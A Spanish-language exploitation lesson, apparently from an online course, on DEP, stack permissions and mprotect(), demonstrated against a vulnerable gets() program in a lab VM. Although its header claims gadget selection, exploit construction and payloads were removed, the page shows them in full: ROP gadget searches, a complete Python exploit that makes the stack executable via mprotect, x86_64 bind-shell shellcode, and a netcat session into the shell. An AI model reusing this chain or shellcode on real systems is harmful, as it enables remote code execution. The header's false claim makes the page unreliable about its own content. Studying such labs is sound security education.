Interpretar los permisos de las regiones de memoria y los cambios que solicita un programa.
Edición parcial: diferencias con el original
Se excluyen la selección de gadgets, la construcción del exploit y las cargas ejecutables del original. Se conservan los mapas de memoria, la explicación de permisos y la interfaz de mprotect.
Prepara el análisis con el agente
Comparte esta lección y sus evidencias con tu agente. Pídele que te ayude a organizar la lectura y que justifique cada conclusión con una observación concreta.
Estoy estudiando «Permisos de memoria y pila ejecutable» del curso de Lobera. Ayúdame a interpretar las funciones, estructuras y capturas de esta lección. Distingue las observaciones del caso de las hipótesis y cita la evidencia que sostiene cada conclusión.
El análisis se apoya en las evidencias disponibles para este caso. Preparación y funcionamiento.
DEP y ejecución en la pila
En el post anterior de esta serie hablábamos del sistema de Prevención de Ejecución de Datos, también conocido como DEP, que se utiliza para impedir que los programas ejecuten código en el espacio de memoria de la pila. Se emplea para evitar una ejecución sencilla de shellcode tras controlar el registro RIP durante un buffer overflow.
Utilizábamos el siguiente programa de prueba:
#include <stdio.h>
void greet_me(){
char name[200];
gets(name);
printf(“Hi there %s !!\n”,name);
}
int main(int argc, char *argv[]){
greet_me();
return 0;
}
Y aprendimos que cuando nos encontramos con DEP (y ASLR está desactivado para nuestros casos por ahora) podemos seguir ejecutando instrucciones y controlar de algún modo el flujo de ejecución a nuestro favor apuntando RIP a direcciones que contengan instrucciones en espacios de memoria marcados como ejecutables (RWX).
Hoy vamos un paso más allá: ejecutar shellcode propio ubicado en la pila. Cuando DEP está activo, nada nos impide colocar shellcode en la pila; si hacemos que RIP apunte a nuestro shellcode, se disparará un ACCESS_VIOLATION y el programa se detendrá. Si queremos ejecutar código allí, necesitaremos activar un mecanismo para volver a hacer ejecutable la pila.
Como recordatorio, comprobemos los permisos de la pila tras compilar nuestro programa sin -execstack:
[0x555555554580]> dm
0x0000555555554000 # 0x0000555555555000 * usr 4K s -r-x /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; map.home_lab_exploit_pattern_greet._r_x
0x0000555555754000 # 0x0000555555755000 - usr 4K s -r-- /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; map.home_lab_exploit_pattern_greet._rw
0x0000555555755000 # 0x0000555555756000 - usr 4K s -rw- /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; loc.__data_start
0x00007ffff79e2000 # 0x00007ffff7bc9000 - usr 1.9M s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 # 0x00007ffff7dc9000 - usr 2M s ---- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 # 0x00007ffff7dcd000 - usr 16K s -r-- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 # 0x00007ffff7dcf000 - usr 8K s -rw- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr 16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr 164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr 8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr 12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr 4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr 4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr 4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr 4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 - usr 132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
[0x555555554580]> dr rsp
0x7fffffffe0a0
[0x555555554580]>
Lectura/escritura pero no ejecución. Ahora al compilar con el parámetro execstack:
[0x004007b0]> dm
0x0000000000400000 # 0x0000000000401000 * usr 4K s -r-x /home/lab/server /home/lab/server ; map.home_lab_server._r_x
0x0000000000600000 # 0x0000000000601000 - usr 4K s -r-x /home/lab/server /home/lab/server ; map.home_lab_server._rwx
0x0000000000601000 # 0x0000000000602000 - usr 4K s -rwx /home/lab/server /home/lab/server ; obj._GLOBAL_OFFSET_TABLE
0x00007ffff79e2000 # 0x00007ffff7bc9000 - usr 1.9M s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 # 0x00007ffff7dc9000 - usr 2M s ---- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 # 0x00007ffff7dcd000 - usr 16K s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 # 0x00007ffff7dcf000 - usr 8K s -rwx /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr 16K s -rwx unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr 164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr 8K s -rwx unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr 12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr 4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr 4K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rwx
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr 4K s -rwx /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr 4K s -rwx unk2 unk2 ; map.unk0._rwx
0x00007ffffffde000 # 0x00007ffffffff000 - usr 132K s -rwx [stack] [stack] ; map.stack_._rwx
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
[0x004007b0]>
Así es como lo queremos. Intentemos llegar ahí.
MPROTECT()
mprotect() modifica las protecciones de acceso de las páginas de memoria del proceso llamante que contengan cualquier parte del rango de direcciones en el intervalo [addr, addr+len-1]. addr debe estar alineada con el límite de página. En caso de éxito, mprotect() devuelve cero. En caso de error, esta llamada al sistema devuelve -1 y errno se establece para indicar el error. Es la función que vamos a utilizar para hacer ejecutable la sección de memoria relacionada con la pila.
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
Recibe tres parámetros: un puntero al inicio de la sección de memoria con la que vamos a operar, su tamaño y la operación que queremos realizar, PROT_EXEC en nuestro caso.
PROT_NONE
The memory cannot be accessed at all.
PROT_READ
The memory can be read.
PROT_WRITE
The memory can be modified.
PROT_EXEC
The memory can be executed.
Esos flags se pueden combinar mediante una simple suma, así que 0x7 nos daría acceso completo + ejecución a nuestra sección de memoria elegida.
Podemos comprobarlo con el siguiente programa:
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <signal.h>
void greet_me(){
char name[200];
gets(name);
printf("Hi there %s !!\n",name);
}
int main(int argc, char *argv[]){
int pagesize = sysconf(_SC_PAGE_SIZE);
printf("Pagesize:%d\n",pagesize);
if(mprotect(0x7ffffffde000,pagesize,0x7)==0)
{
printf("[i] Operation successfull\n");
printf("[i] Memory region: 0x7ffffffe0000 to %lx has been set to r-w-x\n",0x7ffffffe0000+pagesize);
}
else
printf("[!] Operation failed\n");
greet_me();
return 0;
}
Tras compilarlo y ejecutarlo veremos algo como esto:
lab@lab-VirtualBox:~/exploit-pattern$ ./greet2
Pagesize:4096
[i] Operation successfull
[i] Memory region: 0x7ffffffe0000 to 7ffffffe1000 has been set to r-w-x
Hi there !!
lab@lab-VirtualBox:~/exploit-pattern$
En este punto resulta muy útil depurarlo con radare2, para poder identificar cómo se pasan los parámetros durante la llamada a la función e inspeccionar el mapa de memoria antes y después de la llamada:
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr 16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr 164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr 8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr 12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr 4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr 4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr 4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr 4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 - usr 132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
| 0x5555555547e6 48bf00e0fdff. movabs rdi, map.stack_._rw ; 0x7ffffffde000
| 0x5555555547f0 e83bfeffff call sym.imp.mprotect
| ;-- rip:
| 0x5555555547f5 b 85c0 test eax, eax
| ,=< 0x5555555547f7 7535 jne 0x55555555482e
| | 0x5555555547f9 488d3df50000. lea rdi, qword str.i__Operation_successfull ; 0x5555555548f5 ; "[i] Operation successfull" ; const char * s
| | 0x555555554800 e8fbfdffff call sym.imp.puts ; int puts(const char *s)
| | 0x555555554805 8b45fc mov eax, dword [local_4h]
Haciendo esto te darás cuenta de cómo los parámetros se pasan por rdi, rsi y rdx. Y de cómo nuestra sección de memoria elegida queda marcada como ejecutable tras la llamada:
dc
dm
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr 4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr 4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffdf000 - usr 4K s -rwx unk3 unk3 ; rdi
0x00007ffffffdf000 # 0x00007ffffffff000 - usr 128K s -rw- [stack] [stack]
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
Eso es lo que queremos ver en nuestro exploit. Ten en cuenta que también puedes hacer cat /proc/<pid>/maps para ver los mismos mapeos de memoria que ves en radare2.
Construyendo el exploit
Volviendo a nuestro exploit, lo que sigue ya es en su mayor parte conocido. Ahora necesitamos encontrar los gadgets ROP / direcciones para llamar a mprotect, es decir, la dirección de mprotect y algunos gadgets ROP para cargar nuestros parámetros en ella. Podemos hacerlo mirando directamente las direcciones de memoria y/o localizando la dirección base de libc y haciendo llamadas relativas desde ahí, como ya vimos.
lab@lab-VirtualBox:~/exploit-pattern$ cat /proc/20716/maps
555555554000-555555555000 r-xp 00000000 08:01 925278 /home/lab/exploit-pattern/greet
555555754000-555555755000 r--p 00000000 08:01 925278 /home/lab/exploit-pattern/greet
555555755000-555555756000 rw-p 00001000 08:01 925278 /home/lab/exploit-pattern/greet
555555756000-555555777000 rw-p 00000000 00:00 0 [heap]
7ffff79e2000-7ffff7bc9000 r-xp 00000000 08:01 1179648 /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7bc9000-7ffff7dc9000 ---p 001e7000 08:01 1179648 /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7dc9000-7ffff7dcd000 r--p 001e7000 08:01 1179648 /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7dcd000-7ffff7dcf000 rw-p 001eb000 08:01 1179648 /lib/x86_64-linux-gnu/libc-2.27.so
7ffff7dcf000-7ffff7dd3000 rw-p 00000000 00:00 0
7ffff7dd3000-7ffff7dfc000 r-xp 00000000 08:01 1177433 /lib/x86_64-linux-gnu/ld-2.27.so
7ffff7fdf000-7ffff7fe1000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffb000 r--p 00000000 00:00 0 [vvar]
7ffff7ffb000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00029000 08:01 1177433 /lib/x86_64-linux-gnu/ld-2.27.so
7ffff7ffd000-7ffff7ffe000 rw-p 0002a000 08:01 1177433 /lib/x86_64-linux-gnu/ld-2.27.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
lab@lab-VirtualBox:~/exploit-pattern$
[0x555555554580]> dm
0x0000555555554000 # 0x0000555555555000 * usr 4K s -r-x /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; map.home_lab_exploit_pattern_greet._r_x
0x0000555555754000 # 0x0000555555755000 - usr 4K s -r-- /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; map.home_lab_exploit_pattern_greet._rw
0x0000555555755000 # 0x0000555555756000 - usr 4K s -rw- /home/lab/exploit-pattern/greet /home/lab/exploit-pattern/greet ; loc.__data_start
0x00007ffff79e2000 # 0x00007ffff7bc9000 - usr 1.9M s -r-x /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 # 0x00007ffff7dc9000 - usr 2M s ---- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 # 0x00007ffff7dcd000 - usr 16K s -r-- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 # 0x00007ffff7dcf000 - usr 8K s -rw- /lib/x86_64-linux-gnu/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr 16K s -rw- unk0 unk0
[0x555555554580]> dmm~libc
0x7ffff79e2000 /lib/x86_64-linux-gnu/libc-2.27.so
[0x555555554580]>
Encontrar mprotect es sencillo. En este punto conviene verificar que ASLR está desactivado para este tutorial.
[0x7fffffffdf2b]> dmi libc mprotect~ mprotect$
1206 0x0011b7e0 0x7ffff7afd7e0 WEAK FUNC 33 mprotect
Después de encontrar mprotect(), lo siguiente es encontrar esos gadgets ROP para cargar los parámetros en ella:
*note that addresses may change on your machine; also if we forget to de-activate ASLR
[0x555555554580]> /R pop rdi
PROGRAM
0x555555554288 421aff sbb dil, dil
0x55555555428b 0deae669cd or eax, 0xcd69e6ea
0x555555554290 5f pop rdi
0x555555554291 776b ja 0x5555555542fe
0x555555554293 ca25a6 retf -0x59db
0x555555554289 1aff sbb bh, bh
0x55555555428b 0deae669cd or eax, 0xcd69e6ea
0x555555554290 5f pop rdi
0x555555554291 776b ja 0x5555555542fe
0x555555554293 ca25a6 retf -0x59db
0x55555555428a ff0deae669cd dec dword [rip - 0x32961916]
0x555555554290 5f pop rdi
0x555555554291 776b ja 0x5555555542fe
0x555555554293 ca25a6 retf -0x59db
0x555555554753 5f pop rdi
0x555555554754 c3 ret
rsi y rdx para cargar los flags:
LIBC: note that addresses may change on your machine; also if we forget to de-activate ASLR
0x7ffff7dee347 5e pop rsi
0x7ffff7dee348 c3 ret
Ten en cuenta también que si no encuentras direcciones completas de pop REG / ret, no te preocupes: algunos tutoriales te mostrarán que puedes encontrar algo como pop rsi; pop r15, ret y eso también sirve; solo necesitarás añadir algo de padding extra (ej. \x90 * 8) en la pila para rellenar ese r15 y continuar hasta ret con normalidad. Al final de todo se trata de entender cómo funciona y ser capaz de adaptarse.
LIBC: note that addresses may change on your machine; also if we forget to de-activate ASLR
0x7ffff7baf702 5a pop rdx
0x7ffff7baf703 c3 ret
Así que, si combinamos eso con lo que ya hemos hecho en los tutoriales anteriores, podemos construir un exploit como este:
import sys
import struct
stck = lambda x : struct.pack ('<Q',x) # to cover for the little endian
nop_sled = b"\x90"*80+b"\xCC"*8 # breakpoints added for easy debugging
# Linux x86_64 87 bytes bind shell shellcode; BIND 5600 TCP
# https://www.exploit-db.com/exploits/41128
bind_shell = b"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6"
bind_shell +=b"\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97"
bind_shell +=b"\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52"
bind_shell +=b"\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58"
bind_shell +=b"\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e"
bind_shell +=b"\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48"
bind_shell +=b"\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d"
bind_shell +=b"\x3c\x24\xb0\x3b\x0f\x05"
libc_base_address = 0x7ffff79e2000 # not needed for this tutorial
rwx = 0x00007ffffffde000 # base address of the stack
# params for the mprotect() call
pop_rdi = 0x555555554753
pop_rsi = 0x7ffff7dee347
pop_rdx = 0x7ffff7b12516
# base address for the shellcode, why that position? There is no particular reason, it just fits well there
shellcode_addr=0x7fffffffdf20 # position 80
# address of the mprotect() syscall
mprotect_virtual = 0x7ffff7afd7e0
exploit = b"\x90"* 10
exploit += nop_sled
exploit += bind_shell
exploit += b"\x41" * (204-len(exploit))
exploit += b"BBBBBBBB" #RBP overwrite
exploit += b"BBBB" # stack alingment
exploit += stck(pop_rdi)
exploit += stck(rwx)
exploit += stck(pop_rsi)
exploit += stck(0x21000) # the space for the program STACK from start to end
# 0x21000 last mem address of stack - first mem address of stack
exploit += stck(pop_rdx)
exploit += stck(0x7) # full access rwx
exploit += stck(mprotect_virtual)
exploit += stck(shellcode_addr)
sys.stdout.buffer.write(exploit)
El código del exploit está bien comentado, así que es fácil de seguir. Pero en resumen: desbordamos la pila, RBP se sobrescribe con B's, ret retorna a lo que está en la cima de la pila, que es nuestro pop rdi y lo que viene después, así que nuestros parámetros se cargan en los registros rdi, rsi, rdx; entonces el último ret (pop rdx; ret) retorna a lo que está en la cima de la pila, que es la dirección de mprotect. Se llama a mprotect() con nuestros parámetros, la pila es ahora ejecutable y, de nuevo, retornamos a lo que está en la cima de la pila: ahora es un puntero a donde empieza nuestro shellcode, así que la ejecución continúa ahí y, como la pila es ahora ejecutable, nuestra bind shell se ejecuta.
La pila debería quedar así:
Comprobemos el estado de los registros tras el desbordamiento:
| 0x5555555546c4 90 nop
| 0x5555555546c5 c9 leave
\ 0x5555555546c6 c3 ret
[0x55555555468a]> db 0x5555555546c6
[0x55555555468a]> dc
hit breakpoint at: 5555555546c6
[0x55555555468a]> dr
rax = 0x000000eb
rbx = 0x00000000
rcx = 0x00000000
rdx = 0x00000000
r8 = 0x00000000
r9 = 0x000000de
r10 = 0xffffff22
r11 = 0x00000246
r12 = 0x555555554580
r13 = 0x7fffffffe0a0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x555555757270
rdi = 0x00000001
rsp = 0x7fffffffdfa8
rbp = 0x4242424242424242
rip = 0x5555555546c6
rflags = 0x00000202
orax = 0xffffffffffffffff
[0x55555555468a]>
Y también la pila:
[0x55555555468a]> pxq @ rsp
0x7fffffffdfa8 0x0000555555554753 0x00007ffffffde000 SGUUUU..........
0x7fffffffdfb8 0x00007ffff7dee347 0x0000000000021000 G...............
0x7fffffffdfc8 0x00007ffff7b12516 0x0000000000000007 .%..............
0x7fffffffdfd8 0x00007ffff7afd7e0 0x00007fffffffdf20 ........ .......
0x7fffffffdfe8 0x0000555555554600 0x0000000000000000 .FUUUU..........
0x7fffffffdff8 0x9bc6ed78b872ae73 0x0000555555554580 s.r.x....EUUUU..
0x7fffffffe008 0x00007fffffffe0a0 0x0000000000000000 ................
[0x55555555468a]> pd 20 @ 0x7fffffffdf20
0x7fffffffdf20 90 nop
0x7fffffffdf21 90 nop
0x7fffffffdf22 90 nop
0x7fffffffdf23 90 nop
0x7fffffffdf24 90 nop
0x7fffffffdf25 90 nop
0x7fffffffdf26 90 nop
0x7fffffffdf27 90 nop
0x7fffffffdf28 90 nop
0x7fffffffdf29 90 nop
0x7fffffffdf2a cc int3
0x7fffffffdf2b cc int3
0x7fffffffdf2c cc int3
0x7fffffffdf2d cc int3
0x7fffffffdf2e cc int3
0x7fffffffdf2f cc int3
0x7fffffffdf30 cc int3
0x7fffffffdf31 cc int3
0x7fffffffdf32 4831c0 xor rax, rax
Como vemos, después de nuestros gadgets ROP, los parámetros están cargados y se llama a mprotect():
[0x7ffff7afd7e0]> dr rsi
0x00021000
[0x7ffff7afd7e0]> dr rdx
0x00000007
[0x7ffff7afd7e0]> dr rdi
0x7ffffffde000
[0x7ffff7afd7e0]> pd 10
;-- rip:
0x7ffff7afd7e0 b80a000000 mov eax, 0xa
0x7ffff7afd7e5 0f05 syscall
0x7ffff7afd7e7 483d01f0ffff cmp rax, -0xfff
,=< 0x7ffff7afd7ed 7301 jae 0x7ffff7afd7f0
| 0x7ffff7afd7ef c3 ret
`-> 0x7ffff7afd7f0 488b0d71f62c. mov rcx, qword [0x7ffff7dcce68] ; [0x7ffff7dcce68:8]=-128
0x7ffff7afd7f7 f7d8 neg eax
0x7ffff7afd7f9 648901 mov dword fs:[rcx], eax
0x7ffff7afd7fc 4883c8ff or rax, 0xffffffffffffffff
0x7ffff7afd800 c3 ret
[0x7ffff7afd7e0]>
La pila no es ejecutable antes de eso, pero después sí
BEFORE
[0x555555554580]> dm
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr 16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr 164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr 8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr 12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr 4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr 4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr 4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr 4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 - usr 132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
AFTER
[0x7fffffffdf2b]> dm
x-gnu/libc-2.27.so
0x00007ffff7dcf000 # 0x00007ffff7dd3000 - usr 16K s -rw- unk0 unk0
0x00007ffff7dd3000 # 0x00007ffff7dfc000 - usr 164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7fdf000 # 0x00007ffff7fe1000 - usr 8K s -rw- unk1 unk1
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr 12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr 4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffd000 - usr 4K s -r-- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffd000 # 0x00007ffff7ffe000 - usr 4K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr 4K s -rw- unk2 unk2 ; map.unk0._rw
0x00007ffffffde000 # 0x00007ffffffff000 * usr 132K s -rwx [stack] [stack] ; rdi
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
Y tras mprotect() saltamos a nuestro shellcode:
[0x7fffffffdf2b]> pd 10
;-- rip:
0x7fffffffdf2b cc int3
0x7fffffffdf2c cc int3
0x7fffffffdf2d cc int3
0x7fffffffdf2e cc int3
0x7fffffffdf2f cc int3
0x7fffffffdf30 cc int3
0x7fffffffdf31 cc int3
0x7fffffffdf32 4831c0 xor rax, rax
0x7fffffffdf35 4831d2 xor rdx, rdx
0x7fffffffdf38 4831f6 xor rsi, rsi
[0x7fffffffdf2b]>
Y la bind shell empieza a funcionar:
lab@lab-VirtualBox:~/exploit-pattern$ nc 127.0.0.1 5600
ls
LICENSE.md
README.md
exploit.py
Con esto concluye esta lección.
Referencias
Antes de continuar
Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.
El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.